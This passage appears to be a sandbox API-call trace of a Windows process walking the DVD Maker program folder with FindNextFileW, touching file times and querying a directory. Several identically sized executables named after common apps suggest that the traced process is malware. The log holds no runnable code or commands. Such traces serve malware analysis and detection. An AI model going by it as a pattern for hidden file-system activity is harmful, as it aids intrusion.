nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="radio_move_getting.exe", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsource.ax", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0402f20, ftCreationTime.dwHighDateTime=0x1d59b6b, ftLastAccessTime.dwLowDateTime=0x48e72770, ftLastAccessTime.dwHighDateTime=0x1d54418, ftLastWriteTime.dwLowDateTime=0x48e72770, ftLastWriteTime.dwHighDateTime=0x1d54418, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="scriptftp.exe", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0x0, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad643f40, ftCreationTime.dwHighDateTime=0x1d54dc2, ftLastAccessTime.dwLowDateTime=0xce3e43f0, ftLastAccessTime.dwHighDateTime=0x1d58468, ftLastWriteTime.dwLowDateTime=0xce3e43f0, ftLastWriteTime.dwHighDateTime=0x1d58468, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x0, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sonicsptransform.ax", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e36a70, ftCreationTime.dwHighDateTime=0x1d5b811, ftLastAccessTime.dwLowDateTime=0x61331cd0, ftLastAccessTime.dwHighDateTime=0x1d5390f, ftLastWriteTime.dwLowDateTime=0x61331cd0, ftLastWriteTime.dwHighDateTime=0x1d5390f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="whatsapp.exe", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bb787f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bb787f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bdd9df, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll", cAlternateFileName="")) returned 0 [0065.945] GetLastError () returned 0x12 [0065.945] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d1a0 [0065.945] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00ab2f0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00ab2f0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7236dfa0, ftCreationTime.dwHighDateTime=0x1d5aae1, ftLastAccessTime.dwLowDateTime=0x3eab23f0, ftLastAccessTime.dwHighDateTime=0x1d5757e, ftLastWriteTime.dwLowDateTime=0x3eab23f0, ftLastWriteTime.dwHighDateTime=0x1d5757e, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ati.exe", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d5579e0, ftCreationTime.dwHighDateTime=0x1d574cc, ftLastAccessTime.dwLowDateTime=0xfeab9470, ftLastAccessTime.dwHighDateTime=0x1d573b5, ftLastWriteTime.dwLowDateTime=0xfeab9470, ftLastWriteTime.dwHighDateTime=0x1d573b5, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="barca.exe", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0065.945] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.945] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US" (normalized: "c:\\program files\\dvd maker\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.946] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\en-US" (normalized: "c:\\program files\\dvd maker\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0065.946] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0065.946] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb9798, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0xfb9798, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0065.946] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb9798) returned 1 [0065.946] NtClose (Handle=0x17c) returned 0x0 [0065.946] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.946] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb76b8 [0065.946] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7c90 [0065.946] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7d18 [0065.946] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0a0 [0065.946] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.946] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0065.946] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.946] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.946] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.947] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.947] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.947] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4560 [0065.947] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7e28 [0065.947] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.947] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0065.947] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.947] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.947] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.947] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.947] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.947] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb4580 [0065.947] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7eb0 [0065.947] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.947] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0065.947] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.947] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.947] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.947] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.947] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7da0 [0065.947] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb45a0 [0065.947] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7f38 [0065.947] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7da0) returned 1 [0065.947] FindNextFileW (in: hFindFile=0x60d0a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0065.947] GetLastError () returned 0x12 [0065.947] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d260 [0065.948] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0065.948] GetLastError () returned 0x12 [0065.948] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7d18) returned 1 [0065.948] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0065.948] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7c90) returned 1 [0065.948] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb76b8) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb99a750, ftCreationTime.dwHighDateTime=0x1d550a1, ftLastAccessTime.dwLowDateTime=0x95a455b0, ftLastAccessTime.dwHighDateTime=0x1d58e5f, ftLastWriteTime.dwLowDateTime=0x95a455b0, ftLastWriteTime.dwHighDateTime=0x1d58e5f, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mxslipstream.exe", cAlternateFileName="")) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bdd9df, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0bdd9df, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="offset.ax", cAlternateFileName="")) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe46400, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdBase.dll", cAlternateFileName="")) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0efd6c5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0efd6c5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb102e1c7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x432600, dwReserved0=0x0, dwReserved1=0x0, cFileName="OmdProject.dll", cAlternateFileName="")) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0b6b5be, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0b6b5be, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0bb787f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1c4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pipeline.dll", cAlternateFileName="")) returned 1 [0065.948] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7b5c53e, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc7b5c53e, ftLastAccessTime.dwHighDateTime=0x1ca0419, 